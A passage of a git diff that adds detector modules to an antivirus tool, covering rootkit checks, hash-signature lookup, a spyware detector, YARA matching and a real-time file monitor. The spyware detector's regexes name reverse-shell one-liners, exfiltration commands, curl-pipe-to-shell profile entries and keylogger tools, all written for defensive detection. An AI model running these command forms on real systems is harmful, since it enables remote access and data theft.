proc_modules_path.exists(): + return results # non-Linux + + # Modules from /proc/modules. + try: + proc_content = proc_modules_path.read_text() + except PermissionError: + return results + + proc_mods: Set[str] = set() + for line in proc_content.splitlines(): + parts = line.split() + if parts: + proc_mods.add(parts[0]) + + # Modules from lsmod. + lsmod_mods: Set[str] = set() + try: + output = subprocess.check_output(["lsmod"], stderr=subprocess.DEVNULL, timeout=10) + for line in output.decode(errors="replace").splitlines()[1:]: + parts = line.split() + if parts: + lsmod_mods.add(parts[0]) + except (FileNotFoundError, subprocess.SubprocessError, OSError): + return results # lsmod not available + + # Modules in /proc but NOT in lsmod → hidden from userspace. + hidden = proc_mods - lsmod_mods + for mod in hidden: + results.append(DetectionResult( + threat_name="Rootkit.HiddenKernelModule", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=80, + details=f"Kernel module '{mod}' in /proc/modules but hidden from lsmod", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden network ports + # ------------------------------------------------------------------ + + def _check_hidden_network_ports(self) -> List[DetectionResult]: + """Compare ``ss``/``netstat`` listening ports with psutil.""" + results: List[DetectionResult] = [] + + # Ports from psutil. + psutil_ports: Set[int] = set() + try: + for conn in psutil.net_connections(kind="inet"): + if conn.status == "LISTEN" and conn.laddr: + psutil_ports.add(conn.laddr.port) + except psutil.AccessDenied: + return results + + # Ports from ss. + ss_ports: Set[int] = set() + try: + output = subprocess.check_output( + ["ss", "-tlnH"], stderr=subprocess.DEVNULL, timeout=10 + ) + for line in output.decode(errors="replace").splitlines(): + # Typical ss output: LISTEN 0 128 0.0.0.0:22 ... + parts = line.split() + for part in parts: + if ":" in part: + try: + port = int(part.rsplit(":", 1)[1]) + ss_ports.add(port) + except (ValueError, IndexError): + continue + except (FileNotFoundError, subprocess.SubprocessError, OSError): + return results # ss not available + + # Ports in ss but not in psutil → potentially hidden by a rootkit. + hidden = ss_ports - psutil_ports + for port in hidden: + results.append(DetectionResult( + threat_name="Rootkit.HiddenPort", + threat_type="ROOTKIT", + severity="HIGH", + confidence=70, + details=f"Listening port {port} visible to ss but hidden from psutil", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Malicious environment variables + # ------------------------------------------------------------------ + + def _check_malicious_env_vars(self) -> List[DetectionResult]: + """Check the current environment for known-risky variables.""" + results: List[DetectionResult] = [] + for entry in MALICIOUS_ENV_VARS: + if "=" in entry: + # Exact key=value match (e.g. "HISTFILE=/dev/null"). + key, val = entry.split("=", 1) + if os.environ.get(key) == val: + results.append(DetectionResult( + threat_name="Rootkit.EnvVar.Suspicious", + threat_type="ROOTKIT", + severity="HIGH", + confidence=75, + details=f"Suspicious environment variable: {key}={val}", + detector_name=self.name, + )) + else: + # Key presence check (e.g. "LD_PRELOAD"). + if entry in os.environ: + results.append(DetectionResult( + threat_name="Rootkit.EnvVar.Suspicious", + threat_type="ROOTKIT", + severity="HIGH", + confidence=65, + details=f"Suspicious environment variable set: {entry}={os.environ[entry][:100]}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Tampered log files + # ------------------------------------------------------------------ + + _LOG_PATHS = [ + "/var/log/auth.log", + "/var/log/syslog", + "/var/log/messages", + "/var/log/secure", + "/var/log/wtmp", + "/var/log/btmp", + "/var/log/lastlog", + ] + + def _check_tampered_logs(self) -> List[DetectionResult]: + """Look for signs of log tampering: zero-byte logs, missing logs, + or logs whose mtime is suspiciously older than expected. + """ + results: List[DetectionResult] = [] + + for log_path_str in self._LOG_PATHS: + log_path = Path(log_path_str) + if not log_path.exists(): + # Missing critical log. + if log_path_str in ("/var/log/auth.log", "/var/log/syslog", "/var/log/wtmp"): + results.append(DetectionResult( + threat_name="Rootkit.Log.Missing", + threat_type="ROOTKIT", + severity="HIGH", + confidence=60, + details=f"Critical log file missing: {log_path_str}", + detector_name=self.name, + )) + continue + + try: + st = log_path.stat() + except OSError: + continue + + # Zero-byte log file (may have been truncated). + if st.st_size == 0: + results.append(DetectionResult( + threat_name="Rootkit.Log.Truncated", + threat_type="ROOTKIT", + severity="HIGH", + confidence=70, + details=f"Log file is empty (possibly truncated): {log_path_str}", + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py b/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py new file mode 100644 index 0000000..414f4a9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py @@ -0,0 +1,192 @@ +"""AYN Antivirus — Signature-based Detector. + +Looks up file hashes against the threat signature database populated by +the feed update pipeline (MalwareBazaar, ThreatFox, etc.). Uses +:class:`~ayn_antivirus.signatures.db.hash_db.HashDatabase` so that +definitions written by ``ayn-antivirus update`` are immediately available +for detection. +""" + +from __future__ import annotations + +import logging +from pathlib import Path +from typing import Dict, List, Optional + +from ayn_antivirus.constants import DEFAULT_DB_PATH +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult +from ayn_antivirus.utils.helpers import hash_file as _hash_file_util + +logger = logging.getLogger("ayn_antivirus.detectors.signature") + +_VALID_SEVERITIES = {"CRITICAL", "HIGH", "MEDIUM", "LOW"} + + +class SignatureDetector(BaseDetector): + """Detect known malware by matching file hashes against the signature DB. + + Parameters + ---------- + db_path: + Path to the shared SQLite database that holds the ``threats``, + ``ioc_ips``, ``ioc_domains``, and ``ioc_urls`` tables. + """ + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = str(db_path) + self._hash_db = None + self._ioc_db = None + self._loaded = False + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "signature_detector" + + @property + def description(self) -> str: + return "Hash-based signature detection using threat intelligence feeds" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Check the file's hash against the ``threats`` table. + + If *file_hash* is not supplied it is computed on the fly. + """ + self._ensure_loaded() + results: List[DetectionResult] = [] + + if not self._hash_db: + return results + + # Compute hash if not provided. + if not file_hash: + try: + file_hash = _hash_file_util(str(file_path), algo="sha256") + except Exception: + return results + + # Also compute MD5 for VirusShare lookups. + md5_hash = None + try: + md5_hash = _hash_file_util(str(file_path), algo="md5") + except Exception: + pass + + # Look up SHA256 first, then MD5. + threat = self._hash_db.lookup(file_hash) + if not threat and md5_hash: + threat = self._hash_db.lookup(md5_hash) + if threat: + severity = (threat.get("severity") or "HIGH").upper() + if severity not in _VALID_SEVERITIES: + severity = "HIGH" + results.append(DetectionResult( + threat_name=threat.get("threat_name", "Malware.Known"), + threat_type=threat.get("threat_type", "MALWARE"), + severity=severity, + confidence=100, + details=( + f"Known threat signature match " + f"(source: {threat.get('source', 'unknown')}). " + f"Hash: {file_hash[:16]}... " + f"Details: {threat.get('details', '')}" + ), + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # IOC lookup helpers (used by engine for network enrichment) + # ------------------------------------------------------------------ + + def lookup_hash(self, file_hash: str) -> Optional[Dict]: + """Look up a single hash. Returns threat info dict or ``None``.""" + self._ensure_loaded() + if not self._hash_db: + return None + return self._hash_db.lookup(file_hash) + + def lookup_ip(self, ip: str) -> Optional[Dict]: + """Look up an IP against the IOC database.""" + self._ensure_loaded() + if not self._ioc_db: + return None + return self._ioc_db.lookup_ip(ip) + + def lookup_domain(self, domain: str) -> Optional[Dict]: + """Look up a domain against the IOC database.""" + self._ensure_loaded() + if not self._ioc_db: + return None + return self._ioc_db.lookup_domain(domain) + + # ------------------------------------------------------------------ + # Statistics + # ------------------------------------------------------------------ + + def get_stats(self) -> Dict: + """Return signature / IOC database statistics.""" + self._ensure_loaded() + stats: Dict = {"hash_count": 0, "loaded": self._loaded} + if self._hash_db: + stats["hash_count"] = self._hash_db.count() + stats.update(self._hash_db.get_stats()) + if self._ioc_db: + stats["ioc_ips"] = len(self._ioc_db.get_all_malicious_ips()) + stats["ioc_domains"] = len(self._ioc_db.get_all_malicious_domains()) + return stats + + @property + def signature_count(self) -> int: + """Number of hash signatures currently loaded.""" + self._ensure_loaded() + return self._hash_db.count() if self._hash_db else 0 + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def close(self) -> None: + """Close database connections.""" + if self._hash_db: + self._hash_db.close() + self._hash_db = None + if self._ioc_db: + self._ioc_db.close() + self._ioc_db = None + self._loaded = False + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _ensure_loaded(self) -> None: + """Lazy-load the database connections on first use.""" + if self._loaded: + return + if not self.db_path: + logger.warning("No signature DB path configured") + self._loaded = True + return + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + self._hash_db = HashDatabase(self.db_path) + self._hash_db.initialize() + self._ioc_db = IOCDatabase(self.db_path) + self._ioc_db.initialize() + count = self._hash_db.count() + logger.info("Signature DB loaded: %d hash signatures", count) + except Exception as exc: + logger.error("Failed to load signature DB: %s", exc) + self._loaded = True diff --git a/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py b/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py new file mode 100644 index 0000000..e36be60 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py @@ -0,0 +1,366 @@ +"""Spyware detector for AYN Antivirus. + +Scans files and system state for indicators of spyware: keyloggers, screen +capture utilities, data exfiltration patterns, reverse shells, unauthorized +SSH keys, and suspicious shell-profile modifications. +""" + +from __future__ import annotations + +import re +from pathlib import Path +from typing import List, Optional + +from ayn_antivirus.constants import SUSPICIOUS_CRON_PATTERNS +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +# --------------------------------------------------------------------------- +# File-content patterns +# --------------------------------------------------------------------------- + +# Keylogger indicators. +_RE_KEYLOGGER = re.compile( + rb"(?:" + rb"/dev/input/event\d+" + rb"|xinput\s+(?:test|list)" + rb"|xdotool\b" + rb"|showkey\b" + rb"|logkeys\b" + rb"|pynput\.keyboard" + rb"|keyboard\.on_press" + rb"|evdev\.InputDevice" + rb"|GetAsyncKeyState" + rb"|SetWindowsHookEx" + rb")", + re.IGNORECASE, +) + +# Screen / audio capture. +_RE_SCREEN_CAPTURE = re.compile( + rb"(?:" + rb"scrot\b" + rb"|import\s+-window\s+root" + rb"|xwd\b" + rb"|ffmpeg\s+.*-f\s+x11grab" + rb"|xdpyinfo" + rb"|ImageGrab\.grab" + rb"|screenshot" + rb"|pyautogui\.screenshot" + rb"|screencapture\b" + rb")", + re.IGNORECASE, +) + +_RE_AUDIO_CAPTURE = re.compile( + rb"(?:" + rb"arecord\b" + rb"|parecord\b" + rb"|ffmpeg\s+.*-f\s+(?:alsa|pulse|avfoundation)" + rb"|pyaudio" + rb"|sounddevice" + rb")", + re.IGNORECASE, +) + +# Data exfiltration. +_RE_EXFIL = re.compile( + rb"(?:" + rb"curl\s+.*-[FdT]\s" + rb"|curl\s+.*--upload-file" + rb"|wget\s+.*--post-file" + rb"|scp\s+.*@" + rb"|rsync\s+.*@" + rb"|nc\s+-[^\s]*\s+\d+\s*<" + rb"|python[23]?\s+-m\s+http\.server" + rb")", + re.IGNORECASE, +) + +# Reverse shell. +_RE_REVERSE_SHELL = re.compile( + rb"(?:" + rb"bash\s+-i\s+>&\s*/dev/tcp/" + rb"|nc\s+-e\s+/bin/" + rb"|ncat\s+.*-e\s+/bin/" + rb"|socat\s+exec:" + rb"|python[23]?\s+-c\s+['\"]import\s+socket" + rb"|perl\s+-e\s+['\"]use\s+Socket" + rb"|ruby\s+-rsocket\s+-e" + rb"|php\s+-r\s+['\"].*fsockopen" + rb"|mkfifo\s+/tmp/.*;\s*nc" + rb"|/dev/tcp/\d+\.\d+\.\d+\.\d+" + rb")", + re.IGNORECASE, +) + +# Suspicious cron patterns (compiled from constants). +_RE_CRON_PATTERNS = [ + re.compile(pat.encode(), re.IGNORECASE) for pat in SUSPICIOUS_CRON_PATTERNS +] + + +class SpywareDetector(BaseDetector): + """Detect spyware indicators in files and on the host.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "spyware_detector" + + @property + def description(self) -> str: + return "Detects keyloggers, screen capture, data exfiltration, and reverse shells" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- File-content checks --- + results.extend(self._check_keylogger(file_path, content)) + results.extend(self._check_screen_capture(file_path, content)) + results.extend(self._check_audio_capture(file_path, content)) + results.extend(self._check_exfiltration(file_path, content)) + results.extend(self._check_reverse_shell(file_path, content)) + results.extend(self._check_hidden_cron(file_path, content)) + + # --- Host-state checks (only for relevant paths) --- + results.extend(self._check_authorized_keys(file_path, content)) + results.extend(self._check_shell_profile(file_path, content)) + + return results + + # ------------------------------------------------------------------ + # Keylogger patterns + # ------------------------------------------------------------------ + + def _check_keylogger( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_KEYLOGGER.findall(content) + if matches: + samples = sorted(set(m.decode(errors="replace") for m in matches[:5])) + results.append(DetectionResult( + threat_name="Spyware.Keylogger", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=80, + details=f"Keylogger indicators: {', '.join(samples)}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Screen capture + # ------------------------------------------------------------------ + + def _check_screen_capture( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if _RE_SCREEN_CAPTURE.search(content): + results.append(DetectionResult( + threat_name="Spyware.ScreenCapture", + threat_type="SPYWARE", + severity="HIGH", + confidence=70, + details="Screen-capture tools or API calls detected", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Audio capture + # ------------------------------------------------------------------ + + def _check_audio_capture( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if _RE_AUDIO_CAPTURE.search(content): + results.append(DetectionResult( + threat_name="Spyware.AudioCapture", + threat_type="SPYWARE", + severity="HIGH", + confidence=65, + details="Audio recording tools or API calls detected", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Data exfiltration + # ------------------------------------------------------------------ + + def _check_exfiltration( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_EXFIL.findall(content) + if matches: + samples = [m.decode(errors="replace")[:80] for m in matches[:3]] + results.append(DetectionResult( + threat_name="Spyware.DataExfiltration", + threat_type="SPYWARE", + severity="HIGH", + confidence=70, + details=f"Data exfiltration pattern(s): {'; '.join(samples)}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Reverse shell + # ------------------------------------------------------------------ + + def _check_reverse_shell( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + match = _RE_REVERSE_SHELL.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.ReverseShell", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=90, + details=f"Reverse shell pattern: {match.group()[:100]!r}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Hidden cron jobs + # ------------------------------------------------------------------ + + def _check_hidden_cron( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # Only check cron-related files. + path_str = str(file_path) + is_cron = any(tok in path_str for tok in ("cron", "crontab", "/var/spool/")) + if not is_cron: + return results + + for pat in _RE_CRON_PATTERNS: + match = pat.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.Cron.SuspiciousEntry", + threat_type="SPYWARE", + severity="HIGH", + confidence=80, + details=f"Suspicious cron pattern in {file_path}: {match.group()[:80]!r}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Unauthorized SSH keys + # ------------------------------------------------------------------ + + def _check_authorized_keys( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if file_path.name != "authorized_keys": + return results + + # Flag if the file exists in an unexpected location. + path_str = str(file_path) + if not path_str.startswith("/root/") and "/.ssh/" not in path_str: + results.append(DetectionResult( + threat_name="Spyware.SSH.UnauthorizedKeysFile", + threat_type="SPYWARE", + severity="HIGH", + confidence=75, + details=f"authorized_keys found in unexpected location: {file_path}", + detector_name=self.name, + )) + + # Check for suspiciously many keys. + key_count = content.count(b"ssh-rsa") + content.count(b"ssh-ed25519") + content.count(b"ecdsa-sha2") + if key_count > 10: + results.append(DetectionResult( + threat_name="Spyware.SSH.ExcessiveKeys", + threat_type="SPYWARE", + severity="MEDIUM", + confidence=55, + details=f"{key_count} SSH keys in {file_path} — possible unauthorized access", + detector_name=self.name, + )) + + # command= prefix can force a shell command on login — often abused. + if b'command="' in content or b"command='" in content: + results.append(DetectionResult( + threat_name="Spyware.SSH.ForcedCommand", + threat_type="SPYWARE", + severity="MEDIUM", + confidence=60, + details=f"Forced command found in authorized_keys: {file_path}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Shell profile modifications + # ------------------------------------------------------------------ + + _PROFILE_FILES = { + ".bashrc", ".bash_profile", ".profile", ".zshrc", + ".bash_login", ".bash_logout", + } + + _RE_PROFILE_SUSPICIOUS = re.compile( + rb"(?:" + rb"curl\s+[^\n]*\|\s*(?:sh|bash)" + rb"|wget\s+[^\n]*\|\s*(?:sh|bash)" + rb"|/dev/tcp/" + rb"|base64\s+--decode" + rb"|nohup\s+.*&" + rb"|eval\s+\$\(" + rb"|python[23]?\s+-c\s+['\"]import\s+(?:socket|os|pty)" + rb")", + re.IGNORECASE, + ) + + def _check_shell_profile( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if file_path.name not in self._PROFILE_FILES: + return results + + match = self._RE_PROFILE_SUSPICIOUS.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.ShellProfile.SuspiciousEntry", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=85, + details=( + f"Suspicious command in shell profile {file_path}: " + f"{match.group()[:100]!r}" + ), + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py b/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py new file mode 100644 index 0000000..f0bfde6 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py @@ -0,0 +1,200 @@ +"""YARA-rule detector for AYN Antivirus. + +Compiles and caches YARA rule files from the configured rules directory, +then matches them against scanned files. ``yara-python`` is treated as an +optional dependency — if it is missing the detector logs a warning and +returns no results. +""" + +from __future__ import annotations + +import logging +from pathlib import Path +from typing import Any, List, Optional + +from ayn_antivirus.constants import DEFAULT_YARA_RULES_DIR +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Conditional import — yara-python is optional. +# --------------------------------------------------------------------------- +try: + import yara # type: ignore[import-untyped] + + _YARA_AVAILABLE = True +except ImportError: + _YARA_AVAILABLE = False + yara = None # type: ignore[assignment] + +# Severity mapping for YARA rule meta tags. +_META_SEVERITY_MAP = { + "critical": "CRITICAL", + "high": "HIGH", + "medium": "MEDIUM", + "low": "LOW", +} + + +class YaraDetector(BaseDetector): + """Detect threats by matching YARA rules against file contents. + + Parameters + ---------- + rules_dir: + Directory containing ``.yar`` / ``.yara`` rule files. Defaults to + the bundled ``signatures/yara_rules/`` directory. + """ + + def __init__(self, rules_dir: str | Path = DEFAULT_YARA_RULES_DIR) -> None: + self.rules_dir = Path(rules_dir) + self._rules: Any = None # compiled yara.Rules object + self._rule_count: int = 0 + self._loaded = False + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "yara_detector" + + @property + def description(self) -> str: + return "Pattern matching using compiled YARA rules" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Match all loaded YARA rules against *file_path*. + + Falls back to in-memory matching if *file_content* is provided. + """ + if not _YARA_AVAILABLE: + self._warn("yara-python is not installed — skipping YARA detection") + return [] + + if not self._loaded: + self.load_rules() + + if self._rules is None: + return [] + + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + if file_content is not None: + matches = self._rules.match(data=file_content) + else: + matches = self._rules.match(filepath=str(file_path)) + except yara.Error as exc: + self._warn("YARA scan failed for %s: %s", file_path, exc) + return results + + for match in matches: + meta = match.meta or {} + severity = _META_SEVERITY_MAP.get( + str(meta.get("severity", "")).lower(), "HIGH" + ) + threat_type = meta.get("threat_type", "MALWARE").upper() + threat_name = meta.get("threat_name") or match.rule + + matched_strings = [] + try: + for offset, identifier, data in match.strings: + matched_strings.append( + f"{identifier} @ 0x{offset:x}" + ) + except (TypeError, ValueError): + # match.strings format varies between yara-python versions. + pass + + detail_parts = [f"YARA rule '{match.rule}' matched"] + if match.namespace and match.namespace != "default": + detail_parts.append(f"namespace={match.namespace}") + if matched_strings: + detail_parts.append( + f"strings=[{', '.join(matched_strings[:5])}]" + ) + if meta.get("description"): + detail_parts.append(meta["description"]) + + results.append(DetectionResult( + threat_name=threat_name, + threat_type=threat_type, + severity=severity, + confidence=int(meta.get("confidence", 90)), + details=" | ".join(detail_parts), + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Rule management + # ------------------------------------------------------------------ + + def load_rules(self, rules_dir: Optional[str | Path] = None) -> None: + """Compile all ``.yar`` / ``.yara`` files in *rules_dir*. + + Compiled rules are cached in ``self._rules``. Call this again + after updating rule files to pick up changes. + """ + if not _YARA_AVAILABLE: + self._warn("yara-python is not installed — cannot load rules") + return + + directory = Path(rules_dir) if rules_dir else self.rules_dir + if not directory.is_dir(): + self._warn("YARA rules directory does not exist: %s", directory) + return + + rule_files = sorted( + p for p in directory.iterdir() + if p.suffix.lower() in (".yar", ".yara") and p.is_file() + ) + + if not rule_files: + self._log("No YARA rule files found in %s", directory) + self._rules = None + self._rule_count = 0 + self._loaded = True + return + + # Build a filepaths dict for yara.compile(filepaths={...}). + filepaths = {} + for idx, rf in enumerate(rule_files): + namespace = rf.stem + filepaths[namespace] = str(rf) + + try: + self._rules = yara.compile(filepaths=filepaths) + self._rule_count = len(rule_files) + self._loaded = True + self._log( + "Compiled %d YARA rule file(s) from %s", + self._rule_count, + directory, + ) + except yara.SyntaxError as exc: + self._error("YARA compilation error: %s", exc) + self._rules = None + except yara.Error as exc: + self._error("YARA error: %s", exc) + self._rules = None + + @property + def rule_count(self) -> int: + """Number of rule files currently compiled.""" + return self._rule_count + + @property + def available(self) -> bool: + """Return ``True`` if ``yara-python`` is installed.""" + return _YARA_AVAILABLE diff --git a/ayn-antivirus/ayn_antivirus/monitor/__init__.py b/ayn-antivirus/ayn_antivirus/monitor/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/monitor/realtime.py b/ayn-antivirus/ayn_antivirus/monitor/realtime.py new file mode 100644 index 0000000..522c2b2 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/monitor/realtime.py @@ -0,0 +1,265 @@ +"""Real-time file-system monitor for AYN Antivirus. + +Uses the ``watchdog`` library to observe directories for file creation, +modification, and move events, then immediately scans the affected files +through the :class:`ScanEngine`. Supports debouncing, auto-quarantine, +and thread-safe operation. +""" + +from __future__ import annotations + +import logging +import threading +import time +from pathlib import Path +from typing import Any, Dict, List, Optional, Set + +from watchdog.events import FileSystemEvent, FileSystemEventHandler +from watchdog.observers import Observer + +from ayn_antivirus.config import Config +from ayn_antivirus.core.engine import ScanEngine, FileScanResult +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.quarantine.vault import QuarantineVault + +logger = logging.getLogger(__name__) + +# File suffixes that are almost always transient / editor artefacts. +_SKIP_SUFFIXES = frozenset(( + ".tmp", ".swp", ".swx", ".swo", ".lock", ".part", + ".crdownload", ".kate-swp", ".~lock.", ".bak~", +)) + +# Minimum seconds between re-scanning the same path (debounce). +_DEBOUNCE_SECONDS = 2.0 + + +# --------------------------------------------------------------------------- +# Watchdog event handler +# --------------------------------------------------------------------------- + +class _FileEventHandler(FileSystemEventHandler): + """Internal handler that bridges watchdog events to the scan engine. + + Parameters + ---------- + monitor: + The owning :class:`RealtimeMonitor` instance. + """ + + def __init__(self, monitor: RealtimeMonitor) -> None: + super().__init__() + self._monitor = monitor + + # Only react to file events (not directories). + + def on_created(self, event: FileSystemEvent) -> None: + if not event.is_directory: + self._monitor._on_file_event(event.src_path, "created") + + def on_modified(self, event: FileSystemEvent) -> None: + if not event.is_directory: + self._monitor._on_file_event(event.src_path, "modified") + + def on_moved(self, event: FileSystemEvent) -> None: + if not event.is_directory: + dest = getattr(event, "dest_path", None) + if dest: + self._monitor._on_file_event(dest, "moved") + + +# --------------------------------------------------------------------------- +# RealtimeMonitor +# --------------------------------------------------------------------------- + +class RealtimeMonitor: + """Watch directories and scan new / changed files in real time. + + Parameters + ---------- + config: + Application configuration. + scan_engine: + A pre-built :class:`ScanEngine` instance used to scan files. + """ + + def __init__(self, config: Config, scan_engine: ScanEngine) -> None: + self.config = config + self.engine = scan_engine + + self._observer: Optional[Observer] = None + self._lock = threading.Lock() + self._recent: Dict[str, float] = {} # path → last-scan timestamp + self._running = False + + # Optional auto-quarantine vault. + self._vault: Optional[QuarantineVault] = None + if config.auto_quarantine: + self._vault = QuarantineVault(config.quarantine_path) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def start(self, paths: Optional[List[str]] = None, recursive: bool = True) -> None: + """Begin monitoring *paths* (defaults to ``config.scan_paths``). + + Parameters + ---------- + paths: + Directories to watch. + recursive: + Watch subdirectories as well. + """ + watch_paths = paths or self.config.scan_paths + + with self._lock: + if self._running: + logger.warning("RealtimeMonitor is already running") + return + + self._observer = Observer() + handler = _FileEventHandler(self) + + for p in watch_paths: + pp = Path(p) + if not pp.is_dir(): + logger.warning("Skipping non-existent path: %s", p) + continue + self._observer.schedule(handler, str(pp), recursive=recursive) + logger.info("Watching: %s (recursive=%s)", pp, recursive) + + self._observer.start() + self._running = True + + logger.info("RealtimeMonitor started — watching %d path(s)", len(watch_paths)) + event_bus.publish(EventType.SCAN_STARTED, { + "type": "realtime_monitor", + "paths": watch_paths, + }) + + def stop(self) -> None: + """Stop monitoring and wait for the observer thread to exit.""" + with self._lock: + if not self._running or self._observer is None: + return + self._observer.stop() + + self._observer.join(timeout=10) + + with self._lock: + self._running = False + self._observer = None + + logger.info("RealtimeMonitor stopped") + + @property + def is_running(self) -> bool: + with self._lock: + return self._running + + # ------------------------------------------------------------------ + # Event callbacks (called by _FileEventHandler) + # ------------------------------------------------------------------ + + def on_file_created(self, path: str) -> None: + """Scan a newly created file.""" + self._scan_file(path, "created") + + def on_file_modified(self, path: str) -> None: + """Scan a modified file.""" + self._scan_file(path, "modified") + + def on_file_moved(self, path: str) -> None: + """Scan a file that was moved/renamed into a watched directory.""" + self._scan_file(path, "moved") + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _on_file_event(self, path: str, event_type: str) -> None: + """Central dispatcher invoked by the watchdog handler.""" + if self._should_skip(path): + return + + if self._is_debounced(path): + return + + logger.debug("File event: %s %s", event_type, path) + + # Dispatch to the named callback (also usable directly). + if event_type == "created": + self.on_file_created(path) + elif event_type == "modified": + self.on_file_modified(path) + elif event_type == "moved": + self.on_file_moved(path) + + def _scan_file(self, path: str, reason: str) -> None: + """Run the scan engine against a single file and handle results.""" + fp = Path(path) + if not fp.is_file(): + return + + try: + result: FileScanResult = self.engine.scan_file(fp) + except Exception: + logger.exception("Error scanning %s", fp) + return + + if result.threats: + logger.warning( + "THREAT detected (%s) in %s: %s", + reason, + path, + ", ".join(t.threat_name for t in result.threats), + ) + + # Auto-quarantine if enabled. + if self._vault and fp.exists(): + try: + threat = result.threats[0] + qid = self._vault.quarantine_file(fp, { + "threat_name": threat.threat_name, + "threat_type": threat.threat_type.name if hasattr(threat.threat_type, "name") else str(threat.threat_type), + "severity": threat.severity.name if hasattr(threat.severity, "name") else str(threat.severity), + "file_hash": result.file_hash, + }) + logger.info("Auto-quarantined %s → %s", path, qid) + except Exception: + logger.exception("Auto-quarantine failed for %s", path) + else: + logger.debug("Clean: %s (%s)", path, reason) + + # ------------------------------------------------------------------ + # Debounce & skip logic + # ------------------------------------------------------------------ + + def _is_debounced(self, path: str) -> bool: + """Return ``True`` if *path* was scanned within the debounce window.""" + now = time.monotonic() + with self._lock: + last = self._recent.get(path, 0.0) + if now - last < _DEBOUNCE_SECONDS: + return True + self._recent[path] = now + + # Prune stale entries periodically. + if len(self._recent) > 5000: + cutoff = now - _DEBOUNCE_SECONDS * 2 + self._recent = { + k: v for k, v in self._recent.items() if v > cutoff + } + return False + + @staticmethod + def _should_skip(path: str) -> bool: + """Return ``True`` for temporary / lock / editor backup files.""" + name = Path(path).name.lower() + if any(name.endswith(s) for s in _SKIP_SUFFIXES): + return True + # Hidden editor temp files like .#foo or 4913 (vim temp). + if name.startswith(".#"): + return True + return False diff --git a/ayn-antivirus/ayn_antivirus/quarantine/__init__.py b/ayn-antivirus/ayn_antivirus/quarantine/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/quarantine/vault.py b/ayn-antivirus/ayn_antivirus/quarantine/vault.py new file mode 100644 index 0000000..5b8ceb7 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/quarantine/vault.py @@ -0,0 